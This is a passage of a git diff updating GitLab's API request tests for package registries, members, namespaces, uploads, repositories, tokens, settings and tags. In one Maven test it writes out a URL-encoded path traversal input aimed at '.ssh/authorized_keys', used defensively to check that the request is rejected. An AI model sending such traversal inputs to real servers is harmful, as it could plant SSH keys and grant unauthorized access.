+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
end
- it 'denies download when not enough permissions' do
- project.add_guest(user)
-
- subject
+ it_behaves_like 'handling all conditions'
+ end
- expect(response).to have_gitlab_http_status(:forbidden)
+ context 'with check_maven_path_first enabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: true)
end
- it 'denies download when no private token' do
- download_file(package_file.file_name)
+ it_behaves_like 'handling all conditions'
+ end
- expect(response).to have_gitlab_http_status(:not_found)
+ context 'with check_maven_path_first disabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: false)
end
- it_behaves_like 'downloads with a job token'
-
- it_behaves_like 'downloads with a deploy token'
+ it_behaves_like 'handling all conditions'
end
- def download_file(file_name, params = {}, request_headers = headers)
+ def download_file(file_name:, params: {}, request_headers: headers, path: maven_metadatum.path)
get api("/projects/#{project.id}/packages/maven/" \
- "#{maven_metadatum.path}/#{file_name}"), params: params, headers: request_headers
+ "#{path}/#{file_name}"), params: params, headers: request_headers
end
- def download_file_with_token(file_name, params = {}, request_headers = headers_with_token)
- download_file(file_name, params, request_headers)
+ def download_file_with_token(file_name:, params: {}, request_headers: headers_with_token, path: maven_metadatum.path)
+ download_file(file_name: file_name, params: params, request_headers: request_headers, path: path)
end
end
describe 'HEAD /api/v4/projects/:id/packages/maven/*path/:file_name' do
- let(:url) { "/projects/#{project.id}/packages/maven/#{package.maven_metadatum.path}/#{package_file.file_name}" }
+ let(:path) { package.maven_metadatum.path }
+ let(:url) { "/projects/#{project.id}/packages/maven/#{path}/#{package_file.file_name}" }
+
+ context 'with maven_packages_group_level_improvements enabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: true)
+ end
+
+ it_behaves_like 'processing HEAD requests'
+ end
+
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
+ end
+
+ it_behaves_like 'processing HEAD requests'
+ end
+
+ context 'with check_maven_path_first enabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: true)
+ end
+
+ it_behaves_like 'processing HEAD requests'
+ end
- it_behaves_like 'processing HEAD requests'
+ context 'with check_maven_path_first disabled' do
+ before do
+ stub_feature_flags(check_maven_path_first: false)
+ end
+
+ it_behaves_like 'processing HEAD requests'
+ end
end
describe 'PUT /api/v4/projects/:id/packages/maven/*path/:file_name/authorize' do
it 'rejects a malicious request' do
- put api("/projects/#{project.id}/packages/maven/com/example/my-app/#{version}/%2e%2e%2F.ssh%2Fauthorized_keys/authorize"), params: {}, headers: headers_with_token
+ put api("/projects/#{project.id}/packages/maven/com/example/my-app/#{version}/%2e%2e%2F.ssh%2Fauthorized_keys/authorize"), headers: headers_with_token
expect(response).to have_gitlab_http_status(:bad_request)
end
diff --git a/spec/requests/api/members_spec.rb b/spec/requests/api/members_spec.rb
index 919c8d29406..d488aee0c10 100644
--- a/spec/requests/api/members_spec.rb
+++ b/spec/requests/api/members_spec.rb
@@ -273,7 +273,7 @@ RSpec.describe API::Members do
user_ids = [stranger.id, access_requester.id].join(',')
allow_next_instance_of(::Members::CreateService) do |service|
- expect(service).to receive(:execute).with(source).and_return({ status: :error, message: error_message })
+ expect(service).to receive(:execute).and_return({ status: :error, message: error_message })
end
expect do
@@ -555,6 +555,34 @@ RSpec.describe API::Members do
end
end
+ describe 'DELETE /groups/:id/members/:user_id' do
+ let(:other_user) { create(:user) }
+ let(:nested_group) { create(:group, parent: group) }
+
+ before do
+ nested_group.add_developer(developer)
+ nested_group.add_developer(other_user)
+ end
+
+ it 'deletes only the member with skip_subresources=true' do
+ expect do
+ delete api("/groups/#{group.id}/members/#{developer.id}", maintainer), params: { skip_subresources: true }
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end.to change { group.members.count }.by(-1)
+ .and change { nested_group.members.count }.by(0)
+ end
+
+ it 'deletes member and its sub memberships with skip_subresources=false' do
+ expect do
+ delete api("/groups/#{group.id}/members/#{developer.id}", maintainer), params: { skip_subresources: false }
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end.to change { group.members.count }.by(-1)
+ .and change { nested_group.members.count }.by(-1)
+ end
+ end
+
[false, true].each do |all|
it_behaves_like 'GET /:source_type/:id/members/(all)', 'project', all do
let(:source) { project }
diff --git a/spec/requests/api/merge_request_diffs_spec.rb b/spec/requests/api/merge_request_diffs_spec.rb
index 971fb5e991c..caef946273a 100644
--- a/spec/requests/api/merge_request_diffs_spec.rb
+++ b/spec/requests/api/merge_request_diffs_spec.rb
@@ -75,5 +75,13 @@ RSpec.describe API::MergeRequestDiffs, 'MergeRequestDiffs' do
let(:url) { "/projects/#{project.id}/merge_requests/#{merge_request.iid}/versions/#{merge_request_diff.id}" }
end
end
+
+ context 'caching merge request diffs', :use_clean_rails_redis_caching do
+ it 'is performed' do
+ get api("/projects/#{project.id}/merge_requests/#{merge_request.iid}/versions/#{merge_request_diff.id}", user)
+
+ expect(Rails.cache.fetch(merge_request_diff.cache_key)).to be_present
+ end
+ end
end
end
diff --git a/spec/requests/api/merge_requests_spec.rb b/spec/requests/api/merge_requests_spec.rb
index 09177dd1710..37cb8fb7ee5 100644
--- a/spec/requests/api/merge_requests_spec.rb
+++ b/spec/requests/api/merge_requests_spec.rb
@@ -2151,6 +2151,23 @@ RSpec.describe API::MergeRequests do
let(:entity) { merge_request }
end
+ context 'when only assignee_ids are provided' do
+ let(:params) do
+ {
+ assignee_ids: [user2.id]
+ }
+ end
+
+ it 'sets the assignees' do
+ put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: params
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['assignees']).to contain_exactly(
+ a_hash_including('name' => user2.name)
+ )
+ end
+ end
+
context 'accepts reviewer_ids' do
let(:params) do
{
@@ -2533,7 +2550,7 @@ RSpec.describe API::MergeRequests do
it "results in a default squash commit message when not set" do
put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}/merge", user), params: { squash: true }
- expect(squash_commit.message).to eq(merge_request.default_squash_commit_message)
+ expect(squash_commit.message.chomp).to eq(merge_request.default_squash_commit_message.chomp)
end
end
diff --git a/spec/requests/api/namespaces_spec.rb b/spec/requests/api/namespaces_spec.rb
index 2ac76d469d5..1ed06a40f16 100644
--- a/spec/requests/api/namespaces_spec.rb
+++ b/spec/requests/api/namespaces_spec.rb
@@ -216,4 +216,77 @@ RSpec.describe API::Namespaces do
end
end
end
+
+ describe 'GET /namespaces/:namespace/exists' do
+ let!(:namespace1) { create(:group, name: 'Namespace 1', path: 'namespace-1') }
+ let!(:namespace2) { create(:group, name: 'Namespace 2', path: 'namespace-2') }
+ let!(:namespace1sub) { create(:group, name: 'Sub Namespace 1', path: 'sub-namespace-1', parent: namespace1) }
+ let!(:namespace2sub) { create(:group, name: 'Sub Namespace 2', path: 'sub-namespace-2', parent: namespace2) }
+
+ context 'when unauthenticated' do
+ it 'returns authentication error' do
+ get api("/namespaces/#{namespace1.path}/exists")
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when authenticated' do
+ it 'returns JSON indicating the namespace exists and a suggestion' do
+ get api("/namespaces/#{namespace1.path}/exists", user)
+
+ expected_json = { exists: true, suggests: ["#{namespace1.path}1"] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'returns JSON indicating the namespace does not exist without a suggestion' do
+ get api("/namespaces/non-existing-namespace/exists", user)
+
+ expected_json = { exists: false, suggests: [] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'checks the existence of a namespace in case-insensitive manner' do
+ get api("/namespaces/#{namespace1.path.upcase}/exists", user)
+
+ expected_json = { exists: true, suggests: ["#{namespace1.path.upcase}1"] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'checks the existence within the parent namespace only' do
+ get api("/namespaces/#{namespace1sub.path}/exists", user), params: { parent_id: namespace1.id }
+
+ expected_json = { exists: true, suggests: ["#{namespace1sub.path}1"] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'ignores nested namespaces when checking for top-level namespace' do
+ get api("/namespaces/#{namespace1sub.path}/exists", user)
+
+ expected_json = { exists: false, suggests: [] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'ignores top-level namespaces when checking with parent_id' do
+ get api("/namespaces/#{namespace1.path}/exists", user), params: { parent_id: namespace1.id }
+
+ expected_json = { exists: false, suggests: [] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+
+ it 'ignores namespaces of other parent namespaces when checking with parent_id' do
+ get api("/namespaces/#{namespace2sub.path}/exists", user), params: { parent_id: namespace1.id }
+
+ expected_json = { exists: false, suggests: [] }.to_json
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq(expected_json)
+ end
+ end
+ end
end
diff --git a/spec/requests/api/notes_spec.rb b/spec/requests/api/notes_spec.rb
index baab72d106f..d4f8b841c96 100644
--- a/spec/requests/api/notes_spec.rb
+++ b/spec/requests/api/notes_spec.rb
@@ -251,7 +251,7 @@ RSpec.describe API::Notes do
expect { subject }.not_to change { Note.where(system: false).count }
end
- it 'does however create a system note about the change' do
+ it 'does however create a system note about the change', :sidekiq_inline do
expect { subject }.to change { Note.system.count }.by(1)
end
diff --git a/spec/requests/api/npm_project_packages_spec.rb b/spec/requests/api/npm_project_packages_spec.rb
index e64b5ddc374..10271719a15 100644
--- a/spec/requests/api/npm_project_packages_spec.rb
+++ b/spec/requests/api/npm_project_packages_spec.rb
@@ -41,6 +41,15 @@ RSpec.describe API::NpmProjectPackages do
project.add_developer(user)
end
+ shared_examples 'successfully downloads the file' do
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+ end
+
shared_examples 'a package file that requires auth' do
it 'denies download with no token' do
subject
@@ -51,35 +60,28 @@ RSpec.describe API::NpmProjectPackages do
context 'with access token' do
let(:headers) { build_token_auth_header(token.token) }
- it 'returns the file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ it_behaves_like 'successfully downloads the file'
end
context 'with job token' do
let(:headers) { build_token_auth_header(job.token) }
- it 'returns the file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ it_behaves_like 'successfully downloads the file'
end
end
context 'a public project' do
- it 'returns the file with no token needed' do
- subject
+ it_behaves_like 'successfully downloads the file'
+ it_behaves_like 'a package tracking event', 'API::NpmPackages', 'pull_package'
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ context 'with a job token for a different user' do
+ let_it_be(:other_user) { create(:user) }
+ let_it_be_with_reload(:other_job) { create(:ci_build, :running, user: other_user) }
- it_behaves_like 'a package tracking event', 'API::NpmPackages', 'pull_package'
+ let(:headers) { build_token_auth_header(other_job.token) }
+
+ it_behaves_like 'successfully downloads the file'
+ end
end
context 'private project' do
diff --git a/spec/requests/api/nuget_group_packages_spec.rb b/spec/requests/api/nuget_group_packages_spec.rb
index f7e81494660..aefbc89dc3b 100644
--- a/spec/requests/api/nuget_group_packages_spec.rb
+++ b/spec/requests/api/nuget_group_packages_spec.rb
@@ -69,7 +69,7 @@ RSpec.describe API::NugetGroupPackages do
let(:take) { 26 }
let(:skip) { 0 }
let(:include_prereleases) { true }
- let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases } }
+ let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases }.compact }
subject { get api(url), headers: {}}
@@ -113,6 +113,45 @@ RSpec.describe API::NugetGroupPackages do
end
end
+ context 'with a reporter of subgroup' do
+ let_it_be(:package_name) { 'Dummy.Package' }
+ let_it_be(:package) { create(:nuget_package, :with_metadatum, name: package_name, project: project) }
+
+ let(:headers) { basic_auth_header(user.username, personal_access_token.token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ subgroup.add_reporter(user)
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value('private'))
+ subgroup.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value('private'))
+ group.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value('private'))
+ end
+
+ describe 'GET /api/v4/groups/:id/-/packages/nuget/metadata/*package_name/index' do
+ let(:url) { "/groups/#{group.id}/-/packages/nuget/metadata/#{package_name}/index.json" }
+
+ it_behaves_like 'returning response status', :forbidden
+ end
+
+ describe 'GET /api/v4/groups/:id/-/packages/nuget/metadata/*package_name/*package_version' do
+ let(:url) { "/groups/#{group.id}/-/packages/nuget/metadata/#{package_name}/#{package.version}.json" }
+
+ it_behaves_like 'returning response status', :forbidden
+ end
+
+ describe 'GET /api/v4/groups/:id/-/packages/nuget/query' do
+ let(:search_term) { 'uMmy' }
+ let(:take) { 26 }
+ let(:skip) { 0 }
+ let(:include_prereleases) { false }
+ let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases }.compact }
+ let(:url) { "/groups/#{group.id}/-/packages/nuget/query?#{query_parameters.to_query}" }
+
+ it_behaves_like 'returning response status', :forbidden
+ end
+ end
+
def update_visibility_to(visibility)
project.update!(visibility_level: visibility)
subgroup.update!(visibility_level: visibility)
diff --git a/spec/requests/api/nuget_project_packages_spec.rb b/spec/requests/api/nuget_project_packages_spec.rb
index 0277aa73220..54fe0b985df 100644
--- a/spec/requests/api/nuget_project_packages_spec.rb
+++ b/spec/requests/api/nuget_project_packages_spec.rb
@@ -188,6 +188,10 @@ RSpec.describe API::NugetProjectPackages do
it_behaves_like 'deploy token for package uploads'
+ it_behaves_like 'job token for package uploads', authorize_endpoint: true do
+ let_it_be(:job) { create(:ci_build, :running, user: user) }
+ end
+
it_behaves_like 'rejects nuget access with unknown target id'
it_behaves_like 'rejects nuget access with invalid target id'
@@ -251,6 +255,10 @@ RSpec.describe API::NugetProjectPackages do
it_behaves_like 'deploy token for package uploads'
+ it_behaves_like 'job token for package uploads' do
+ let_it_be(:job) { create(:ci_build, :running, user: user) }
+ end
+
it_behaves_like 'rejects nuget access with unknown target id'
it_behaves_like 'rejects nuget access with invalid target id'
diff --git a/spec/requests/api/project_attributes.yml b/spec/requests/api/project_attributes.yml
index 6c9a845b217..f9eb9de94db 100644
--- a/spec/requests/api/project_attributes.yml
+++ b/spec/requests/api/project_attributes.yml
@@ -140,6 +140,7 @@ project_setting:
- squash_option
- updated_at
- cve_id_request_enabled
+ - mr_default_target_self
build_service_desk_setting: # service_desk_setting
unexposed_attributes:
diff --git a/spec/requests/api/project_import_spec.rb b/spec/requests/api/project_import_spec.rb
index a049d7d7515..f6cdf370e5c 100644
--- a/spec/requests/api/project_import_spec.rb
+++ b/spec/requests/api/project_import_spec.rb
@@ -235,12 +235,14 @@ RSpec.describe API::ProjectImport do
stub_uploads_object_storage(ImportExportUploader, direct_upload: true)
end
+ # rubocop:disable Rails/SaveBang
let(:tmp_object) do
fog_connection.directories.new(key: 'uploads').files.create(
key: "tmp/uploads/#{file_name}",
body: fixture_file_upload(file)
)
end
+ # rubocop:enable Rails/SaveBang
let(:file_upload) { fog_to_uploaded_file(tmp_object) }
@@ -285,7 +287,7 @@ RSpec.describe API::ProjectImport do
it 'returns the import status and the error if failed' do
project = create(:project, :import_failed)
project.add_maintainer(user)
- project.import_state.update(last_error: 'error')
+ project.import_state.update!(last_error: 'error')
get api("/projects/#{project.id}/import", user)
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index d2a33e32b30..b0ecb711283 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.shared_examples 'languages and percentages JSON response' do
- let(:expected_languages) { project.repository.languages.map { |language| language.values_at(:label, :value)}.to_h }
+ let(:expected_languages) { project.repository.languages.to_h { |language| language.values_at(:label, :value) } }
before do
allow(project.repository).to receive(:languages).and_return(
@@ -810,6 +810,54 @@ RSpec.describe API::Projects do
end
end
end
+
+ context 'with forked projects', :use_clean_rails_memory_store_caching do
+ include ProjectForksHelper
+
+ let_it_be(:admin) { create(:admin) }
+
+ it 'avoids N+1 queries' do
+ get api('/projects', admin)
+
+ base_project = create(:project, :public, namespace: admin.namespace)
+
+ fork_project1 = fork_project(base_project, admin, namespace: create(:user).namespace)
+ fork_project2 = fork_project(fork_project1, admin, namespace: create(:user).namespace)
+
+ control = ActiveRecord::QueryRecorder.new do
+ get api('/projects', admin)
+ end
+
+ fork_project(fork_project2, admin, namespace: create(:user).namespace)
+
+ expect do
+ get api('/projects', admin)
+ end.not_to exceed_query_limit(control.count)
+ end
+ end
+
+ context 'when service desk is enabled', :use_clean_rails_memory_store_caching do
+ let_it_be(:admin) { create(:admin) }
+
+ it 'avoids N+1 queries' do
+ allow(Gitlab::ServiceDeskEmail).to receive(:enabled?).and_return(true)
+ allow(Gitlab::IncomingEmail).to receive(:enabled?).and_return(true)
+
+ get api('/projects', admin)
+
+ create(:project, :public, :service_desk_enabled, namespace: admin.namespace)
+
+ control = ActiveRecord::QueryRecorder.new do
+ get api('/projects', admin)
+ end
+
+ create_list(:project, 2, :public, :service_desk_enabled, namespace: admin.namespace)
+
+ expect do
+ get api('/projects', admin)
+ end.not_to exceed_query_limit(control.count)
+ end
+ end
end
describe 'POST /projects' do
@@ -1461,21 +1509,139 @@ RSpec.describe API::Projects do
end
end
+ describe "POST /projects/:id/uploads/authorize" do
+ include WorkhorseHelpers
+
+ let(:headers) { workhorse_internal_api_request_header.merge({ 'HTTP_GITLAB_WORKHORSE' => 1 }) }
+
+ context 'with authorized user' do
+ it "returns 200" do
+ post api("/projects/#{project.id}/uploads/authorize", user), headers: headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['MaximumSize']).to eq(project.max_attachment_size)
+ end
+ end
+
+ context 'with unauthorized user' do
+ it "returns 404" do
+ post api("/projects/#{project.id}/uploads/authorize", user2), headers: headers
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'with exempted project' do
+ before do
+ stub_env('GITLAB_UPLOAD_API_ALLOWLIST', project.id)
+ end
+
+ it "returns 200" do
+ post api("/projects/#{project.id}/uploads/authorize", user), headers: headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['MaximumSize']).to eq(1.gigabyte)
+ end
+ end
+
+ context 'with upload size enforcement disabled' do
+ before do
+ stub_feature_flags(enforce_max_attachment_size_upload_api: false)
+ end
+
+ it "returns 200" do
+ post api("/projects/#{project.id}/uploads/authorize", user), headers: headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['MaximumSize']).to eq(1.gigabyte)
+ end
+ end
+
+ context 'with no Workhorse headers' do
+ it "returns 403" do
+ post api("/projects/#{project.id}/uploads/authorize", user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
describe "POST /projects/:id/uploads" do
+ let(:file) { fixture_file_upload("spec/fixtures/dk.png", "image/png") }
+
before do
project
end
it "uploads the file and returns its info" do
- post api("/projects/#{project.id}/uploads", user), params: { file: fixture_file_upload("spec/fixtures/dk.png", "image/png") }
+ expect_next_instance_of(UploadService) do |instance|
+ expect(instance).to receive(:override_max_attachment_size=).with(project.max_attachment_size).and_call_original
+ end
+
+ post api("/projects/#{project.id}/uploads", user), params: { file: file }
expect(response).to have_gitlab_http_status(:created)
expect(json_response['alt']).to eq("dk")
expect(json_response['url']).to start_with("/uploads/")
expect(json_response['url']).to end_with("/dk.png")
-
expect(json_response['full_path']).to start_with("/#{project.namespace.path}/#{project.path}/uploads")
end
+
+ it "does not leave the temporary file in place after uploading, even when the tempfile reaper does not run" do
+ stub_env('GITLAB_TEMPFILE_IMMEDIATE_UNLINK', '1')
+ tempfile = Tempfile.new('foo')
+ path = tempfile.path
+
+ allow_any_instance_of(Rack::TempfileReaper).to receive(:call) do |instance, env|
+ instance.instance_variable_get(:@app).call(env)
+ end
+
+ expect(path).not_to be(nil)
+ expect(Rack::Multipart::Parser::TEMPFILE_FACTORY).to receive(:call).and_return(tempfile)
+
+ post api("/projects/#{project.id}/uploads", user), params: { file: fixture_file_upload("spec/fixtures/dk.png", "image/png") }
+
+ expect(tempfile.path).to be(nil)
+ expect(File.exist?(path)).to be(false)
+ end
+
+ shared_examples 'capped upload attachments' do |upload_allowed|
+ it "limits the upload to 1 GB" do
+ expect_next_instance_of(UploadService) do |instance|
+ expect(instance).to receive(:override_max_attachment_size=).with(1.gigabyte).and_call_original
+ end
+
+ post api("/projects/#{project.id}/uploads", user), params: { file: file }
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+
+ it "logs a warning if file exceeds attachment size" do
+ allow(Gitlab::CurrentSettings).to receive(:max_attachment_size).and_return(0)
+
+ expect(Gitlab::AppLogger).to receive(:info).with(
+ hash_including(message: 'File exceeds maximum size', upload_allowed: upload_allowed))
+ .and_call_original
+
+ post api("/projects/#{project.id}/uploads", user), params: { file: file }
+ end
+ end
+
+ context 'with exempted project' do
+ before do
+ stub_env('GITLAB_UPLOAD_API_ALLOWLIST', project.id)
+ end
+
+ it_behaves_like 'capped upload attachments', true
+ end
+
+ context 'with upload size enforcement disabled' do
+ before do
+ stub_feature_flags(enforce_max_attachment_size_upload_api: false)
+ end
+
+ it_behaves_like 'capped upload attachments', false
+ end
end
describe "GET /projects/:id/groups" do
diff --git a/spec/requests/api/pypi_packages_spec.rb b/spec/requests/api/pypi_packages_spec.rb
index ae5b132f409..718004a0087 100644
--- a/spec/requests/api/pypi_packages_spec.rb
+++ b/spec/requests/api/pypi_packages_spec.rb
@@ -118,7 +118,7 @@ RSpec.describe API::PypiPackages do
it_behaves_like 'deploy token for package uploads'
- it_behaves_like 'job token for package uploads'
+ it_behaves_like 'job token for package uploads', authorize_endpoint: true
it_behaves_like 'rejects PyPI access with unknown project id'
end
diff --git a/spec/requests/api/repositories_spec.rb b/spec/requests/api/repositories_spec.rb
index 31f0d7cec2a..a12b4dc9848 100644
--- a/spec/requests/api/repositories_spec.rb
+++ b/spec/requests/api/repositories_spec.rb
@@ -6,6 +6,7 @@ require 'mime/types'
RSpec.describe API::Repositories do
include RepoHelpers
include WorkhorseHelpers
+ include ProjectForksHelper
let(:user) { create(:user) }
let(:guest) { create(:user).tap { |u| create(:project_member, :guest, user: u, project: project) } }
@@ -392,6 +393,28 @@ RSpec.describe API::Repositories do
expect(json_response['diffs']).to be_present
end
+ it "compare commits between different projects with non-forked relation" do
+ public_project = create(:project, :repository, :public)
+
+ get api(route, current_user), params: { from: sample_commit.parent_id, to: sample_commit.id, from_project_id: public_project.id }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+
+ it "compare commits between different projects" do
+ group = create(:group)
+ group.add_owner(current_user)
+
+ forked_project = fork_project(project, current_user, repository: true, namespace: group)
+ forked_project.repository.create_ref('refs/heads/improve/awesome', 'refs/heads/improve/more-awesome')
+
+ get api(route, current_user), params: { from: 'improve/awesome', to: 'feature', from_project_id: forked_project.id }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['commits']).to be_present
+ expect(json_response['diffs']).to be_present
+ end
+
it "compares same refs" do
get api(route, current_user), params: { from: 'master', to: 'master' }
diff --git a/spec/requests/api/resource_access_tokens_spec.rb b/spec/requests/api/resource_access_tokens_spec.rb
index 79549bfc5e0..1a3c805fe9f 100644
--- a/spec/requests/api/resource_access_tokens_spec.rb
+++ b/spec/requests/api/resource_access_tokens_spec.rb
@@ -151,6 +151,23 @@ RSpec.describe API::ResourceAccessTokens do
expect(User.exists?(project_bot.id)).to be_falsy
end
+ context "when using project access token to DELETE other project access token" do
+ let_it_be(:other_project_bot) { create(:user, :project_bot) }
+ let_it_be(:other_token) { create(:personal_access_token, user: other_project_bot) }
+ let_it_be(:token_id) { other_token.id }
+
+ before do
+ project.add_maintainer(other_project_bot)
+ end
+
+ it "deletes the project access token from the project" do
+ delete_token
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ expect(User.exists?(other_project_bot.id)).to be_falsy
+ end
+ end
+
context "when attempting to delete a non-existent project access token" do
let_it_be(:token_id) { non_existing_record_id }
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index 3b84c812010..48f5bd114a1 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Settings, 'Settings' do
+RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
let(:user) { create(:user) }
let_it_be(:admin) { create(:admin) }
@@ -44,6 +44,7 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['wiki_page_max_content_bytes']).to be_a(Integer)
expect(json_response['require_admin_approval_after_user_signup']).to eq(true)
expect(json_response['personal_access_token_prefix']).to be_nil
+ expect(json_response['admin_mode']).to be(false)
end
end
@@ -124,7 +125,8 @@ RSpec.describe API::Settings, 'Settings' do
disabled_oauth_sign_in_sources: 'unknown',
import_sources: 'github,bitbucket',
wiki_page_max_content_bytes: 12345,
- personal_access_token_prefix: "GL-"
+ personal_access_token_prefix: "GL-",
+ admin_mode: true
}
expect(response).to have_gitlab_http_status(:ok)
@@ -169,6 +171,7 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['import_sources']).to match_array(%w(github bitbucket))
expect(json_response['wiki_page_max_content_bytes']).to eq(12345)
expect(json_response['personal_access_token_prefix']).to eq("GL-")
+ expect(json_response['admin_mode']).to be(true)
end
end
diff --git a/spec/requests/api/tags_spec.rb b/spec/requests/api/tags_spec.rb
index b029c0f5793..3c698cf577e 100644
--- a/spec/requests/api/tags_spec.rb
+++ b/spec/requests/api/tags_spec.rb
@@ -17,131 +17,197 @@ RSpec.describe API::Tags do
end
describe 'GET /projects/:id/repository/tags' do
- let(:route) { "/projects/#{project_id}/repository/tags" }
+ shared_examples "get repository tags" do
+ let(:route) { "/projects/#{project_id}/repository/tags" }
- context 'sorting' do
- let(:current_user) { user }
+ context 'sorting' do
+ let(:current_user) { user }
- it 'sorts by descending order by default' do
- get api(route, current_user)
+ it 'sorts by descending order by default' do
+ get api(route, current_user)
- desc_order_tags = project.repository.tags.sort_by { |tag| tag.dereferenced_target.committed_date }
- desc_order_tags.reverse!.map! { |tag| tag.dereferenced_target.id }
+ desc_order_tags = project.repository.tags.sort_by { |tag| tag.dereferenced_target.committed_date }
+ desc_order_tags.reverse!.map! { |tag| tag.dereferenced_target.id }
- expect(json_response.map { |tag| tag['commit']['id'] }).to eq(desc_order_tags)
- end
+ expect(json_response.map { |tag| tag['commit']['id'] }).to eq(desc_order_tags)
+ end
- it 'sorts by ascending order if specified' do
- get api("#{route}?sort=asc", current_user)
+ it 'sorts by ascending order if specified' do
+ get api("#{route}?sort=asc", current_user)
- asc_order_tags = project.repository.tags.sort_by { |tag| tag.dereferenced_target.committed_date }
- asc_order_tags.map! { |tag| tag.dereferenced_target.id }
+ asc_order_tags = project.repository.tags.sort_by { |tag| tag.dereferenced_target.committed_date }
+ asc_order_tags.map! { |tag| tag.dereferenced_target.id }
- expect(json_response.map { |tag| tag['commit']['id'] }).to eq(asc_order_tags)
- end
+ expect(json_response.map { |tag| tag['commit']['id'] }).to eq(asc_order_tags)
+ end
- it 'sorts by name in descending order when requested' do
- get api("#{route}?order_by=name", current_user)
+ it 'sorts by name in descending order when requested' do
+ get api("#{route}?order_by=name", current_user)
- ordered_by_name = project.repository.tags.map { |tag| tag.name }.sort.reverse
+ ordered_by_name = project.repository.tags.map { |tag| tag.name }.sort.reverse
- expect(json_response.map { |tag| tag['name'] }).to eq(ordered_by_name)
- end
+ expect(json_response.map { |tag| tag['name'] }).to eq(ordered_by_name)
+ end
- it 'sorts by name in ascending order when requested' do
- get api("#{route}?order_by=name&sort=asc", current_user)
+ it 'sorts by name in ascending order when requested' do
+ get api("#{route}?order_by=name&sort=asc", current_user)
- ordered_by_name = project.repository.tags.map { |tag| tag.name }.sort
+ ordered_by_name = project.repository.tags.map { |tag| tag.name }.sort
- expect(json_response.map { |tag| tag['name'] }).to eq(ordered_by_name)
+ expect(json_response.map { |tag| tag['name'] }).to eq(ordered_by_name)
+ end
end
- end
- context 'searching' do
- it 'only returns searched tags' do
- get api("#{route}", user), params: { search: 'v1.1.0' }
+ context 'searching' do
+ it 'only returns searched tags' do
+ get api("#{route}", user), params: { search: 'v1.1.0' }
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to include_pagination_headers
- expect(json_response).to be_an Array
- expect(json_response.size).to eq(1)
- expect(json_response[0]['name']).to eq('v1.1.0')
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ expect(json_response.size).to eq(1)
+ expect(json_response[0]['name']).to eq('v1.1.0')
+ end
end
- end
- shared_examples_for 'repository tags' do
- it 'returns the repository tags' do
- get api(route, current_user)
+ shared_examples_for 'repository tags' do
+ it 'returns the repository tags' do
+ get api(route, current_user)
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/tags')
- expect(response).to include_pagination_headers
- expect(json_response.map { |r| r['name'] }).to include(tag_name)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('public_api/v4/tags')
+ expect(response).to include_pagination_headers
